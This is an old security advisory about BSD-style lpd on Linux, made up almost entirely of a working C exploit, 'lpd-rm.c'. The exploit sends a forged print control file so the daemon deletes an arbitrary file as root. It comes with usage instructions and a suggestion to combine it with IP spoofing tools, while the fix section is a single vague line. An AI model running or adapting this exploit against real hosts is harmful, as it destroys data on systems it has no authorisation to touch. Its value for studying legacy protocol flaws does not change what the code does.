COMMAND
lpd
SYSTEMS AFFECTED
Linux
PROBLEM
Gus made following exploit which will remove a file on system if
they have BSDish lpd. This one was tested on Linux. The basic
problem is that 'lpd' was coded with good *client* behaviour
expected, and carries out the control file commands as the user
specified in that control file. Relying on good client behaviour
is (of course) an exremely bad security model.
Trying to rm a file that does not exist w/ this will cause a mail
message to be generated, log entries etc. You need
/etc/hosts.[equiv|lpd] access to the host, or change the 'write's
to 'printf's and pipe it in to your favorite IP spoofing warez.
/*
** lpd-rm.c : Remove a file by exploiting the BSD-style 'lpd'
** [Tested on Linux only, YMMV] [Release version]
** Gus '98
**
** References: RFC-1179
** Usage : "lpd-rm <hostname> <printername> <filename>"
** hi-5s to : The Army of the 12 Monkeys, #phuk regulars,
** Gamma and Pr0pane for their help, everyone
** involved in making 'strace' :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
/* Control codes for commands. No spaces unless specified */
#define LPD_RECIEVE_JOB '\2' /* \2 printername <lf> */
#define CMD_RECIEVE_CONTROL_FILE '\2' /* \2 size <space> name <lf> */
#define CMD_RECIEVE_DATA_FILE '\3' /* \3 size <space> name <lf> */
#define CMD_CLASSNAME 'C' /* C classname <lf> */
#define CMD_HOSTNAME 'H' /* H hostname <lf> */
#define CMD_JOBNAME 'J' /* J jobname <lf> */
#define CMD_PRINTBANNERPAGE 'L' /* L username <lf */
#define CMD_MAIL_WHEN_PRINTED 'M' /* M username@host <lf> */
#define CMD_SOURCEFILENAME 'N' /* N filename <lf> */
#define CMD_USERNAME 'P' /* P user-requesting-job <lf> */
#define CMD_UNLINK 'U' /* U filename <lf> */
#define CMD_PRINTFORMATTEDFILE 'f' /* f Filename of pre-formatted text */
#define CMD_PRINTPRFILE 'p' /* p Filename to proccess thru 'pr' */
void usage(char *);
int doit(int ,char *,char *, char *);
int openhost (char *);
int main (int argc, char *argv[]) {
int port,sock;
char *host,*printer,*filename;
port = 0;
host = printer = filename = NULL;
fprintf(stderr,"'lpd-rm.c' - Gus'98\n");
if (argc < 4) usage(argv[0]);
if (getuid() != 0) {
fprintf(stderr,"Doh! You need to be root.\n");
exit(-1);
}
host = argv[1];
printer = argv[2];
filename = argv[3];
if ((sock = openhost(host)) > 0) {
exit(doit(sock,printer,host,filename));
} else {
exit(sock);
}
}
int openhost (char *host) {
int sock;
struct hostent *he;
struct sockaddr_in sa;
int localport;
char respbuf[255];
he=gethostbyname(host);
if(he==NULL) {
fprintf(stderr,"Bad hostname");
return (-1);
}
/*
** According to the RFC, the source port must be in the range
** of 721-731 inclusive.
*/
srand(getpid());
localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0));
sock=socket(AF_INET,SOCK_STREAM,0);
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_family=AF_INET;
sa.sin_port=htons(localport);
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
sa.sin_port=htons(515);
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) {
perror("Can't connect");
return (-1);
} else {
fcntl(sock,F_SETFL,O_NONBLOCK);
}
printf("%d : Connected...\n",localport);
read(sock,respbuf,255);
fprintf(stderr,": %s\n",respbuf); /* show 'not allowed to print'
message, if it comes back */
return(sock);
}
int doit(int sock,char *printer,char *host, char *filename) {
char hello[255];
char sendbuf[1024];
char respbuf[255];
printf("Removing file %s on %s using %s as printer\n",filename,host,printer);
/* Hello Mr LPD. Can I print to <printer> please ? */
sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer);
if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2))) {
perror("1 write");
}
/* Why yes young man, what would you like me to do ? */
read(sock,respbuf,255);
/* fprintf(stderr,": %s\n",respbuf); */
/* Would you be so kind as to carry out the commands in this file
* as superuser without giving up any priviledges please ?
*/
sprintf(sendbuf,"%c%s\n%croot\n%cmyjob\n%c%s\n%croot\n%ccfA12\n%c%s\n%c%s",
CMD_HOSTNAME,host,
CMD_USERNAME,
CMD_JOBNAME,
CMD_CLASSNAME,
host,
CMD_PRINTBANNERPAGE,
CMD_PRINTPRFILE,
CMD_UNLINK,
filename,
CMD_SOURCEFILENAME,
filename);
/* But of course young feller me lad! Security is for girls! */
sprintf(hello,"%c%d cfA12\n",
CMD_RECIEVE_CONTROL_FILE,
strlen(sendbuf));
if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write");
if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1)) {
perror("3 write");
}
sleep(3);
shutdown(sock,2);
return (0);
}
void usage (char *name) {
fprintf(stderr,"\tUsage: %s host printer filename\n",name);
exit(1);
}
SOLUTION
Newer versions got it right?